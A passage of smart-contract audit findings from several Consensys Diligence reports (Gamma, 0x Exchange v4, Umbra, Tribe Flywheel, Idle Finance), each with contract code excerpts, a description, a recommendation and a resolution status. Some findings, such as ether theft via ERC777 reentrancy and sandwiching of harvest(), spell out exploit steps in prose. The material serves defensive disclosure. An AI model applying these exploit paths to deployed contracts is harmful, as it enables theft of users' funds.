owed1) = pool.burn(tickLower, tickUpper, liquidity); // Collect amount owed uint128 collect0 = collectAll ? type(uint128).max : _uint128Safe(owed0); uint128 collect1 = collectAll ? type(uint128).max : _uint128Safe(owed1); if (collect0 > 0 || collect1 > 0) { (amount0, amount1) = pool.collect(to, tickLower, tickUpper, collect0, collect1); Recommendation Consider adding an amountMin parameter(s) to ensure that at least the amountMin of tokens was received. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.12 Full test suite is necessary ", "body": " Description The test suite at this stage is not complete. It is crucial to have a full test coverage that includes the edge cases and failure scenarios, especially for complex system like Gamma. As we ve seen in some smart contract incidents, a complete test suite can prevent issues that might be hard to find with manual reviews. Some issues such as issue 3.8, issue 3.2 could be caught by a full-coverage test suite. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.13 Uniswap v3 callbacks access control should be hardened ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by implementing the auditor s recommendation for Description Examples code/contracts/Hypervisor.sol:L407-L445 function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(pool)); address payer = abi.decode(data, (address)); if (payer == address(this)) { if (amount0 > 0) token0.safeTransfer(msg.sender, amount0); if (amount1 > 0) token1.safeTransfer(msg.sender, amount1); } else { if (amount0 > 0) token0.safeTransferFrom(payer, msg.sender, amount0); if (amount1 > 0) token1.safeTransferFrom(payer, msg.sender, amount1); function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external override { require(msg.sender == address(pool)); address payer = abi.decode(data, (address)); if (amount0Delta > 0) { if (payer == address(this)) { token0.safeTransfer(msg.sender, uint256(amount0Delta)); } else { token0.safeTransferFrom(payer, msg.sender, uint256(amount0Delta)); } else if (amount1Delta > 0) { if (payer == address(this)) { token1.safeTransfer(msg.sender, uint256(amount1Delta)); } else { token1.safeTransferFrom(payer, msg.sender, uint256(amount1Delta)); Recommendation ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.14 Code quality comments ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by removing the from parameter. Fixed in GammaStrategies/hypervisor@9a7a3dd by implementing the auditor s recommendation. Fixed in GammaStrategies/hypervisor@9a7a3dd by deleting depositSwap. Examples UniProxy.deposit - from parameter is never used. UniProxy - MAX_INT should be changed to MAX_UINT. Consider using compiler version >= 0.8.0, and make sure that the compiler version is specified explicitly for every .sol file in the repo. UniProxy - Minimize code duplication in deposit and depositSwap. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "6.1 Ether temporarily held during transactions can be stolen via reentrancy ", "body": " Resolution This is addressed in 0xProject/protocol@437a3b0 by transferring exactly msg.value in sellToLiquidityProvider(). This adequately protects against this specific vulnerability. The client team decided to leave the accounting in MetaTransactionsFeature as-is due to the complexity/expense of tracking ether consumption more strictly. Description The exchange proxy typically holds no ether balance, but it can temporarily hold a balance during a transaction. This balance is vulnerable to theft if the following conditions are met: No check at the end of the transaction reverts if ether goes missing, reentrancy is possible during the transaction, and a mechanism exists to spend ether held by the exchange proxy. We found one example where these conditions are met, but it s possible that more exist. Example MetaTransactionsFeature.executeMetaTransaction() accepts ether, which is used to pay protocol fees. It s possible for less than the full amount in msg.value to be consumed, which is why the function uses the refundsAttachedEth modifier to return any remaining ether to the caller: code/contracts/zero-ex/contracts/src/features/MetaTransactionsFeature.sol:L98-L106 /// @dev Refunds up to `msg.value` leftover ETH at the end of the call. modifier refundsAttachedEth() { _; uint256 remainingBalance = LibSafeMathV06.min256(msg.value, address(this).balance); if (remainingBalance > 0) { msg.sender.transfer(remainingBalance); Notice that this modifier just returns the remaining ether balance (up to msg.value). It does not check for a specific amount of remaining ether. This meets condition (1) above. It s impossible to reenter the system with a second metatransaction because executeMetaTransaction() uses the modifier nonReentrant, but there s nothing preventing reentrancy via a different feature. We can achieve reentrancy by trading a token that uses callbacks (e.g. ERC777 s hooks) during transfers. This meets condition (2). LiquidityProviderFeature.sellToLiquidityProvider() provides such a mechanism. By passing code/contracts/zero-ex/contracts/src/features/LiquidityProviderFeature.sol:L114-L115 if (inputToken == ETH_TOKEN_ADDRESS) { provider.transfer(sellAmount); This meets condition (3). The full steps to exploit this vulnerability are as follows: A maker/attacker signs a trade where one of the tokens will invoke a callback during the trade. A taker signs a metatransaction to take this trade. A relayer sends in the metatransaction, providing more ether than is necessary to pay the protocol fee. (It s unclear how likely this situation is.) During the token callback, the attacker invokes LiquidityProviderFeature.sellToLiquidityProvider() to transfer the excess ether to their account. The metatransaction feature returns the remaining ether balance, which is now zero. Recommendation In general, we recommend using strict accounting of ether throughout the system. If there s ever a temporary balance, it should be accurately resolved at the end of the transaction, after any potential reentrancy opportunities. For the example we specifically found, we recommend doing strict accounting in the metatransactions feature. This means features called via a metatransaction would need to return how much ether was consumed. The metatransactions feature could then refund exactly msg.value - . The transaction should be reverted if this fails because it means ether went missing during the transaction. We also recommend limiting sellToLiquidityProvider() to only transfer up to msg.value. This is a form of defense in depth in case other vectors for a similar attack exist. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/12/0x-exchange-v4/"}, {"title": "6.2 UniswapFeature: Non-static call to ERC20.allowance() ", "body": " Resolution This is fixed in 0xProject/protocol@437a3b0. Description In the case where a token is possibly greedy (consumes all gas on failure), UniswapFeature makes a call to the token s allowance() function to check whether the user has provided a token allowance to the protocol proxy or to the AllowanceTarget. This call is made using call(), potentially allowing state-changing operations to take place before control of the execution returns to UniswapFeature. code/contracts/zero-ex/contracts/src/features/UniswapFeature.sol:L373-L377 // `token.allowance()`` mstore(0xB00, ALLOWANCE_CALL_SELECTOR_32) mstore(0xB04, caller()) mstore(0xB24, address()) let success := call(gas(), token, 0, 0xB00, 0x44, 0xC00, 0x20) Recommendation Replace the call() with a staticcall(). ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/12/0x-exchange-v4/"}, {"title": "6.3 UniswapFeature: Unchecked returndatasize in low-level external calls ", "body": " Resolution This is fixed in 0xProject/protocol@437a3b0. Description UniswapFeature makes a number of external calls from low-level assembly code. Two of these calls rely on the CALL opcode to copy the returndata to memory without checking that the call returned the expected amount of data. Because the CALL opcode does not zero memory if the call returns less data than expected, this can lead to usage of dirty memory under the assumption that it is data returned from the most recent call. Examples Call to UniswapV2Pair.getReserves() code/contracts/zero-ex/contracts/src/features/UniswapFeature.sol:L201-L205 // Call pair.getReserves(), store the results at `0xC00` mstore(0xB00, UNISWAP_PAIR_RESERVES_CALL_SELECTOR_32) if iszero(staticcall(gas(), pair, 0xB00, 0x4, 0xC00, 0x40)) { bubbleRevert() Call to ERC20.allowance() code/contracts/zero-ex/contracts/src/features/UniswapFeature.sol:L372-L377 // Check if we have enough direct allowance by calling // `token.allowance()`` mstore(0xB00, ALLOWANCE_CALL_SELECTOR_32) mstore(0xB04, caller()) mstore(0xB24, address()) let success := call(gas(), token, 0, 0xB00, 0x44, 0xC00, 0x20) Recommendation Instead of providing a memory range for call() to write returndata to, explicitly check returndatasize() after the call is made and then copy the data into memory using returndatacopy(). if lt(returndatasize(), EXPECTED_SIZE) { revert(0, 0) returndatacopy(0xC00, 0x00, EXPECTED_SIZE) ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/12/0x-exchange-v4/"}, {"title": "6.4 Rollback functionality can lead to untested combinations ", "body": " Resolution From the client team: Just like our migrations, we batch our rollbacks by release, which enforces rolling back to known good configurations. The documentation now includes an emergency playbook that describes how rollbacks should be done. Description SimpleFunctionRegistry maps individual function selectors to implementation contracts. As features are newly deployed or upgraded, functions are registered in logical groups after a timelock enforced by the owning multisig wallet. This gives users time to evaluate upcoming changes and stop using the contract if they don t like the changes. Once deployed, however, any function can individually be rolled back without a timelock to any previous version of that function. Users are given no warning, functions can be rolled back to any previous implementation (regardless of how old), and the per-function granularity means that the configuration after rollback may be a never-before-seen combination of functions. The combinatorics makes it impossible for a user (or auditor) to be comfortable with all the possible outcomes of rollbacks. If there are n versions each of m functions, there are n^m combinations that could be in effect at any moment. Some functions depend on other onlySelf functions, so the behavior of those combinations is not at all obvious. This presents a trust problem for users. Recommendation Rollback makes sense as a way to rapidly recover from a bad deployment, but we recommend limiting its scope. The following ideas are in preferred order (our favorite first): Disallow rollback altogether except to an implementation of address(0). This way broken functionality can be immediately disabled, but no old version of a function can be reinstated. Limit rollback by number of versions, e.g. only allowing rollback to the immediately previous version of a function. Limit rollback by time, e.g. only allowing rollback to versions in the past n weeks. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/12/0x-exchange-v4/"}, {"title": "4.1 Reuse of CHAINID from contract deployment ", "body": " Resolution This is addressed in ScopeLift/umbra-protocol@7cfdc81. Description The internal function _validateWithdrawSignature() is used to check whether a sponsored token withdrawal is approved by the owner of the stealth address that received the tokens. Among other data, the chain ID is signed over to prevent replay of signatures on other EVM-compatible chains. contracts/contracts/Umbra.sol:L307-L329 function _validateWithdrawSignature( address _stealthAddr, address _acceptor, address _tokenAddr, address _sponsor, uint256 _sponsorFee, IUmbraHookReceiver _hook, bytes memory _data, uint8 _v, bytes32 _r, bytes32 _s ) internal view { bytes32 _digest = keccak256( abi.encodePacked( \"\\x19Ethereum Signed Message:\\n32\", keccak256(abi.encode(chainId, version, _acceptor, _tokenAddr, _sponsor, _sponsorFee, address(_hook), _data)) ); address _recoveredAddress = ecrecover(_digest, _v, _r, _s); require(_recoveredAddress != address(0) && _recoveredAddress == _stealthAddr, \"Umbra: Invalid Signature\"); However, this chain ID is set as an immutable value in the contract constructor. In the case of a future contentious hard fork of the Ethereum network, the same Umbra contract would exist on both of the resulting chains. One of these two chains would be expected to change the network s chain ID, but the Umbra contracts would not be aware of this change. As a result, signatures to the Umbra contract on either chain would be replayable on the other chain. This is a common pattern in contracts that implement EIP-712 signatures. Presumably, the motivation in most cases for committing to the chain ID at deployment time is to avoid recomputing the EIP-712 domain separator for every signature verification. In this case, the chain ID is a direct input to the generation of the signed digest, so this should not be a concern. Recommendation Replace the use of the chainId immutable value with the CHAINID opcode in _validateWithdrawSignature(). Note that CHAINID is only available using Solidity s inline assembly, so this would need to be accessed in the same way as it is currently accessed in the contract s constructor: contracts/contracts/Umbra.sol:L68-L72 uint256 _chainId; assembly { _chainId := chainid() 5 Recommendations ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/umbra-smart-contracts/"}, {"title": "5.1 Use separate mappings for keys in StealthKeyResolver", "body": " Description The StealthKeyResolver currently stores keys in a mapping bytes32 => uint256 => uint256 that maps nodes => prefixes => keys. The prefixes are offset in the setStealthKeys() function to differentiate between viewing public keys and spending public keys, and these offsets are reversed in the stealthKeys() view function. contracts/profiles/StealthKeyResolver.sol:L37-L56 function setStealthKeys(bytes32 node, uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey) external authorised(node) { require( (spendingPubKeyPrefix == 2 || spendingPubKeyPrefix == 3) && (viewingPubKeyPrefix == 2 || viewingPubKeyPrefix == 3), \"StealthKeyResolver: Invalid Prefix\" ); emit StealthKeyChanged(node, spendingPubKeyPrefix, spendingPubKey, viewingPubKeyPrefix, viewingPubKey); // Shift the spending key prefix down by 2, making it the appropriate index of 0 or 1 spendingPubKeyPrefix -= 2; // Ensure the opposite prefix indices are empty delete _stealthKeys[node][1 - spendingPubKeyPrefix]; delete _stealthKeys[node][5 - viewingPubKeyPrefix]; // Set the appropriate indices to the new key values _stealthKeys[node][spendingPubKeyPrefix] = spendingPubKey; _stealthKeys[node][viewingPubKeyPrefix] = viewingPubKey; This manual adjustment of prefixes adds complexity to an otherwise simple function. To avoid this, consider splitting this into two separate mappings one for viewing keys and one for spending keys. For clarity, also specify the visibility of these mappings explicitly. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/umbra-smart-contracts/"}, {"title": "5.2 Document potential edge cases for hook receiver contracts", "body": " Description The functions withdrawTokenAndCall() and withdrawTokenAndCallOnBehalf() make a call to a hook contract designated by the owner of the withdrawing stealth address. contracts/contracts/Umbra.sol:L289-L291 if (address(_hook) != address(0)) { _hook.tokensWithdrawn(_withdrawalAmount, _stealthAddr, _acceptor, _tokenAddr, _sponsor, _sponsorFee, _data); There are very few constraints on the parameters to these calls in the Umbra contract itself. Anyone can force a call to a hook contract by transferring a small amount of tokens to an address that they control and withdrawing these tokens, passing the target address as the hook receiver. Developers of these UmbraHookReceiver contracts should be sure to validate both the caller of the tokensWithdrawn() function and the function parameters. There are a number of possible edge cases that should be handled when relevant. These include, but are not limited to, the following: The _amount may not have been transferred to the hook receiver itself. All four addresses passed to tokensWithdrawn() could be the same. Most of these address parameters could also be any arbitrary address. This includes the token contract address, the address of the hook receiver, or the address of the Umbra contract itself. The token received may be valueless. The token received may be malicious. The only requirements are that the token contract address contains code and accepts calls to the ERC20 methods transfer() and transferFrom(). While it is difficult to determine a feasible exploit without knowledge of what hook receiver contracts may do in the future, a slightly contrived example follows. Suppose a user builds a hook receiver contract that accepts an arbitrary token, TOK, and immediately provides liquidity to the ETH-TOK Uniswap pair when tokensWithdrawn() is called by the Umbra contract. An attacker could create a malicious token that can not be transferred out of its own Uniswap Pair contract and force a call to the hook receiver contract from Umbra. The hook receiver would be able to provide liquidity to the pool but would be unable to remove it, losing any ETH that was provided. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/umbra-smart-contracts/"}, {"title": "5.3 Document token behavior restrictions", "body": " As with any protocol that interacts with arbitrary ERC20 tokens, it is important to clearly document which tokens are supported. Often this is best done by providing a specification for the behavior of the expected ERC20 tokens and only relaxing this specification after careful review of a particular class of tokens and their interactions with the protocol. In the absence of this, the following is a necessarily incomplete list of some known deviations from normal ERC20 behavior that should be explicitly noted as NOT supported by the Umbra Protocol: Deflationary or fee-on-transfer tokens: These are tokens in which the balance of the recipient of a transfer may not be increased by the amount of the transfer. There may also be some alternative mechanism by which balances are unexpectedly decreased. While these tokens can be successfully sent via the sendToken() function, the internal accounting of the Umbra contract will be out of sync with the balance as recorded in the token contract, resulting in loss of funds. Inflationary tokens: The opposite of deflationary tokens. The Umbra contract provides no mechanism for claiming positive balance adjustments. Rebasing tokens: A combination of the above cases, these are tokens in which an account s balance increases or decreases along with expansions or contractions in supply. The contract provides no mechanism to update its internal accounting in response to these unexpected balance adjustments, and funds may be lost as a result. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/03/umbra-smart-contracts/"}, {"title": "5.4 Add an address parameter to withdrawal signatures ", "body": " Resolution This is addressed in ScopeLift/umbra-protocol@d6e4235, which replaces the Description As discussed above, the _validateWithdrawSignature() function checks the signer of a digest consisting of the keccak-256 hash of the following preimage: abi.encodePacked( \"\\x19Ethereum Signed Message:\\n32\", keccak256(abi.encode(chainId, version, _acceptor, _tokenAddr, _sponsor, _sponsorFee, address(_hook), _data)) Consider adding the address of the contract itself to this signed message. Currently, it is possible to deploy any number of contracts with the same version to the same chain, and signatures would be replayable across all of these contracts. While users are likely to only have balances for the same stealth address in one of these contracts, adding an address parameter provides some additional replay protection. Because the contract can not be self-destructed, a given address can only ever contain a single version of the Umbra contract. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/umbra-smart-contracts/"}, {"title": "5.1 Reactivated gauges can t queue up rewards ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by making it so all gauges are always included in cycles, thus keeping in sync their Description Active gauges as set in ERC20Gauges.addGauge() function by authorised users get their rewards queued up in the FlywheelGaugeRewards._queueRewards() function. As part of it, their associated struct QueuedRewards updates its storedCycle value to the cycle in which they get queued up: code-flywheel-v2/src/rewards/FlywheelGaugeRewards.sol:L202-L206 gaugeQueuedRewards[gauge] = QueuedRewards({ priorCycleRewards: queuedRewards.priorCycleRewards + completedRewards, cycleRewards: uint112(nextRewards), storedCycle: currentCycle }); Once reactivated later with at least 1 full cycle being done without it, it will produce issues. It will now be returned by gaugeToken.gauges() to be processed in either FlywheelGaugeRewards.queueRewardsForCycle()or FlywheelGaugeRewards.queueRewardsForCyclePaginated(), but, once the reactivated gauge is passed to _queueRewards(), it will fail an assert: code-flywheel-v2/src/rewards/FlywheelGaugeRewards.sol:L196 assert(queuedRewards.storedCycle == 0 || queuedRewards.storedCycle >= lastCycle); This is because it already has a set value from the cycle it was processed in previously (i.e. storedCycle>0), and, since that cycle is at least 1 full cycle behind the state contract, it will also not pass the second condition queuedRewards.storedCycle >= lastCycle. The result is that this gauge is locked out of queuing up for rewards because queuedRewards.storedCycle is only synchronised with the contract s cycle later in _queueRewards() which will now always fail for this gauge. Recommendation Account for the reactivated gauges that previously went through the rewards queue process, such as introducing a separate flow for newly activated gauges. However, any changes such as removing the above mentioned assert() should be carefully validated for other downstream logic that may use the QueuedRewards.storedCycle value. Therefore, it is recommended to review the state transitions as opposed to only passing this specific check. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "5.2 Reactivated gauges have incorrect accounting for the last cycle s rewards ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by making it so all gauges are always included in cycles, thus keeping in sync their Description As described in issue 5.1, reactivated gauges that previously had queued up rewards have a mismatch between their storedCycle and contract s gaugeCycle state variable. Due to this mismatch, there is also a resulting issue with the accounting logic for its completed rewards: code-flywheel-v2/src/rewards/FlywheelGaugeRewards.sol:L198 uint112 completedRewards = queuedRewards.storedCycle == lastCycle ? queuedRewards.cycleRewards : 0; Consequently, this then produces an incorrect value for QueuedRewards.priorCycleRewards: code-flywheel-v2/src/rewards/FlywheelGaugeRewards.sol:L203 priorCycleRewards: queuedRewards.priorCycleRewards + completedRewards, As now completedRewards will be equal to 0 instead of the previous cycle s rewards for that gauge. This may cause a loss of rewards accounted for this gauge as this value is later used in getAccruedRewards(). Recommendation Consider changing the logic of the check so that storedCycle values further in the past than lastCycle may produce the right rewards return for this expression, such as using <= instead of == and adding an explicit check for storedCycle == 0 to account for the initial scenario. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "5.3 Lack of input validation in delegateBySig ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by reverting for Description ERC20MultiVotes.sol makes use of ecrecover() in delegateBySig to return the address of the message signer. ecrecover() typically returns address(0x0) to indicate an error; however, there s no zero address check in the function logic. This might not be exploitable though, as delegate(0x0, arbitraryAddress) might always return zero votes (in freeVotes). Additionally, ecrecover() can be forced to return a random address by messing with the parameters. Although this is extremely rare and will likely resolve to zero free votes most times, this might return a random address and delegate someone else s votes. Examples code-flywheel-v2/src/token/ERC20MultiVotes.sol:L364-L387 function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { require(block.timestamp <= expiry, \"ERC20MultiVotes: signature expired\"); address signer = ecrecover( keccak256( abi.encodePacked( \"\\x19\\x01\", DOMAIN_SEPARATOR(), keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)) ), v, r, ); require(nonce == nonces[signer]++, \"ERC20MultiVotes: invalid nonce\"); _delegate(signer, delegatee); Recommendation Introduce a zero address check i.e require signer!=address(0) and check if the recovered signer is an expected address. Refer to ERC20 s permit for inspiration. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "5.4 Decreasing maxGauges does not account for users previous gauge list size. ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by documenting. Description ERC20Gauges contract has a maxGauges state variable meant to represent the maximum amount of gauges a user can allocate to. As per the natspec, it is meant to protect against gas DOS attacks upon token transfer to allow complicated transactions to fit in a block. There is also a function setMaxGauges for authorised users to decrease or increase this state variable. code-flywheel-v2/src/token/ERC20Gauges.sol:L499-L504 function setMaxGauges(uint256 newMax) external requiresAuth { uint256 oldMax = maxGauges; maxGauges = newMax; emit MaxGaugesUpdate(oldMax, newMax); Recommendation Either document the potential discrepancy between the user gauges size and the maxGauges state variable, or limit maxGauges to be only called within the contract thereby forcing other contracts to retrieve user gauge list size through numUserGauges(). ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "5.5 Decrementing a gauge by 0 that is not in the user gauge list will fail an assert. ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by implementing auditor s recommendation. Description ERC20Gauges._decrementGaugeWeight has an edge case scenario where a user can attempt to decrement a gauge that is not in the user gauge list by 0 weight, which would trigger a failure in an assert. code-flywheel-v2/src/token/ERC20Gauges.sol:L333-L345 function _decrementGaugeWeight( address user, address gauge, uint112 weight, uint32 cycle ) internal { uint112 oldWeight = getUserGaugeWeight[user][gauge]; getUserGaugeWeight[user][gauge] = oldWeight - weight; if (oldWeight == weight) { // If removing all weight, remove gauge from user list. assert(_userGauges[user].remove(gauge)); code-flywheel-v2/src/token/ERC20Gauges.sol:L339-L341 uint112 oldWeight = getUserGaugeWeight[user][gauge]; getUserGaugeWeight[user][gauge] = oldWeight - weight; However, passing a weight=0 parameter with a gauge that doesn t belong to the user, would successfully process that line. This would then be followed by an evaluation if (oldWeight == weight), which would also succeed since both are 0, to finally reach an assert that will verify a remove of that gauge from the user gauge list. However, it will fail since it was never there in the first place. code-flywheel-v2/src/token/ERC20Gauges.sol:L344 assert(_userGauges[user].remove(gauge)); Although an edge case with no effect on contract state s health, it may happen with front end bugs or incorrect user transactions, and it is best not to have asserts fail. Recommendation Replace assert() with a require() or verify that the gauge belongs to the user prior to performing any operations. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "5.6 Undelegating 0 votes from an address who is not a delegate of a user will fail an assert. ", "body": " Resolution Fixed in fei-protocol/flywheel-v2@e765d24 by implementing auditor s recommendation. Description Similar scenario with issue 5.5. ERC20MultiVotes._undelegate has an edge case scenario where a user can attempt to undelegate from a delegatee that is not in the user delegates list by 0 amount, which would trigger a failure in an assert. code-flywheel-v2/src/token/ERC20MultiVotes.sol:L251-L260 function _undelegate( address delegator, address delegatee, uint256 amount ) internal virtual { uint256 newDelegates = _delegatesVotesCount[delegator][delegatee] - amount; if (newDelegates == 0) { assert(_delegates[delegator].remove(delegatee)); // Should never fail. code-flywheel-v2/src/token/ERC20MultiVotes.sol:L256 uint256 newDelegates = _delegatesVotesCount[delegator][delegatee] - amount; However, passing a amount=0 parameter with a delegatee that doesn t belong to the user, would successfully process that line. This would then be followed by an evaluation if (newDelegates == 0), which would succeed, to finally reach an assert that will verify a remove of that delegatee from the user delegates list. However, it will fail since it was never there in the first place. code-flywheel-v2/src/token/ERC20MultiVotes.sol:L259 assert(_delegates[delegator].remove(delegatee)); // Should never fail. Although an edge case with no effect on contract state s health, it may happen with front end bugs or incorrect user transactions, and it is best not to have asserts fail, as per the dev comment in that line // Should never fail . Recommendation Replace assert() with a require() or verify that the delegatee belongs to the user prior to performing any operations. 6 Findings: xTRIBE ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "6.1 xTRIBE.emitVotingBalances - DelegateVotesChanged event can be emitted by anyone ", "body": " Resolution Fixed in fei-protocol/xTRIBE@ea9705b by adding authentication. Description xTRIBE.emitVotingBalances is an external function without authentication constraints. It means anyone can call it and emit DelegateVotesChanged which may impact other layers of code that rely on these events. Examples code-xTRIBE/src/xTRIBE.sol:L89-L99 function emitVotingBalances(address[] calldata accounts) external { uint256 size = accounts.length; for (uint256 i = 0; i < size; ) { emit DelegateVotesChanged(accounts[i], 0, getVotes(accounts[i])); unchecked { i++; Recommendation Consider restricting access to this function for allowed accounts only. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/04/tribe-dao-flywheel-v2-xtribe-xerc4626/"}, {"title": "6.1 IdleCDO._deposit() allows re-entrancy from hookable tokens. ", "body": " Resolution The development team has addressed this concern in commit 5fbdc0506c94a172abbd4122276ed2bd489d1964. This change has not been reviewed by the audit team. Description The function IdleCDO._deposit() updates the system s internal accounting and mints shares to the caller, then transfers the deposited funds from the user. Some token standards, such as ERC777, allow a callback to the source of the funds before the balances are updated in transferFrom(). This callback could be used to re-enter the protocol while already holding the minted tranche tokens and at a point where the system accounting reflects a receipt of funds that has not yet occurred. While an attacker could not interact with IdleCDO.withdraw() within this callback because of the _checkSameTx() restriction, they would be able to interact with the rest of the protocol. code/contracts/IdleCDO.sol:L230-L245 function _deposit(uint256 _amount, address _tranche) internal returns (uint256 _minted) { // check that we are not depositing more than the contract available limit _guarded(_amount); // set _lastCallerBlock hash _updateCallerBlock(); // check if strategyPrice decreased _checkDefault(); // interest accrued since last depositXX/withdrawXX/harvest is splitted between AA and BB // according to trancheAPRSplitRatio. NAVs of AA and BB are updated and tranche // prices adjusted accordingly _updateAccounting(); // mint tranche tokens according to the current tranche price _minted = _mintShares(_amount, msg.sender, _tranche); // get underlyings from sender IERC20Detailed(token).safeTransferFrom(msg.sender, address(this), _amount); Recommendation Move the transferFrom() action in _deposit() to immediately after _updateCallerBlock(). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "6.2 IdleCDO.virtualPrice() and _updatePrices() yield different prices in a number of cases ", "body": " Resolution The development team implemented a new version of both functions using a third method, virtualPricesAux(), to perform the primary price calculation. Additionally, _updatePrices() was renamed to _updateAccounting(). This change was incorporated in commit ff0b69380828657f16df8683c35703b325a6b656. Description The function IdleCDO.virtualPrice() is used to determine the current price of a tranche. Similarly, IdleCDO._updatePrices() is used to store the latest price of a tranche, as well as update other parts of the system accounting. There are a number of cases where the prices yielded by these two functions differ. While these are primarily corner cases that are not obviously exploitable in practice, potential violations of key accounting invariants should always be considered serious. Additionally, the use of two separate implementations of the same calculation suggest the potential for more undiscovered discrepancies, possibly of higher consequence. As an example, in _updatePrices() the precision loss from splitting the strategy returns favors BB tranche holders. In virtualPrice() both branches of the price calculation incur precision loss, favoring the IdleCDO contract itself. _updatePrices() code/contracts/IdleCDO.sol:L331-L341 if (BBTotSupply == 0) { // if there are no BB holders, all gain to AA AAGain = gain; } else if (AATotSupply == 0) { // if there are no AA holders, all gain to BB BBGain = gain; } else { // split the gain between AA and BB holders according to trancheAPRSplitRatio AAGain = gain * trancheAPRSplitRatio / FULL_ALLOC; BBGain = gain - AAGain; virtualPrice() code/contracts/IdleCDO.sol:L237-L245 if (_tranche == AATranche) { // calculate gain for AA tranche // trancheGain (AAGain) = gain * trancheAPRSplitRatio / FULL_ALLOC; trancheNAV = lastNAVAA + (gain * _trancheAPRSplitRatio / FULL_ALLOC); } else { // calculate gain for BB tranche // trancheGain (BBGain) = gain * (FULL_ALLOC - trancheAPRSplitRatio) / FULL_ALLOC; trancheNAV = lastNAVBB + (gain * (FULL_ALLOC - _trancheAPRSplitRatio) / FULL_ALLOC); Recommendation Implement a single method that determines the current price for a tranche, and use this same implementation anywhere the price is needed. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "6.3 IdleCDO.harvest() allows price manipulation in certain circumstances ", "body": " Resolution The development team has addressed this concern in a pull request with a final commit hash of 5341a9391f9c42cadf26d72c9f804ca75a15f0fb. This change has not been reviewed by the audit team. Description The function IdleCDO.harvest() uses Uniswap to liquidate rewards earned by the contract s strategy, then updates the relevant positions and internal accounting. This function can only be called by the contract owner or the designated rebalancer address, and it accepts an array which indicates the minimum buy amounts for the liquidation of each reward token. The purpose of permissioning this method and specifying minimum buy amounts is to prevent a sandwiching attack from manipulating the reserves of the Uniswap pools and forcing the IdleCDO contract to incur loss due to price slippage. However, this does not effectively prevent price manipulation in all cases. Because the contract sells it s entire balance of redeemed rewards for the specified minimum buy amount, this approach does not enforce a minimum price for the executed trades. If the balance of IdleCDO or the amount of claimable rewards increases between the submission of the harvest() transaction and its execution, it may be possible to perform a profitable sandwiching attack while still satisfying the required minimum buy amounts. The viability of this exploit depends on how effectively an attacker can increase the amount of rewards tokens to be sold without incurring an offsetting loss. The strategy contracts used by IdleCDO are expected to vary widely in their implementations, and this manipulation could potentially be done either through direct interaction with the protocol or as part of a flashbots bundle containing a large position adjustment from an honest user. code/contracts/IdleCDO.sol:L564-L565 function harvest(bool _skipRedeem, bool _skipIncentivesUpdate, bool[] calldata _skipReward, uint256[] calldata _minAmount) external { require(msg.sender == rebalancer || msg.sender == owner(), \"IDLE:!AUTH\"); code/contracts/IdleCDO.sol:L590-L599 // approve the uniswap router to spend our reward IERC20Detailed(rewardToken).safeIncreaseAllowance(address(_uniRouter), _currentBalance); // do the uniswap trade _uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( _currentBalance, _minAmount[i], _path, address(this), block.timestamp + 1 ); Recommendation Update IdleCDO.harvest() to enforce a minimum price rather than a minimum buy amount. One method of doing so would be taking an additional array parameter indicating the amount of each token to sell in exchange for the respective buy amount. 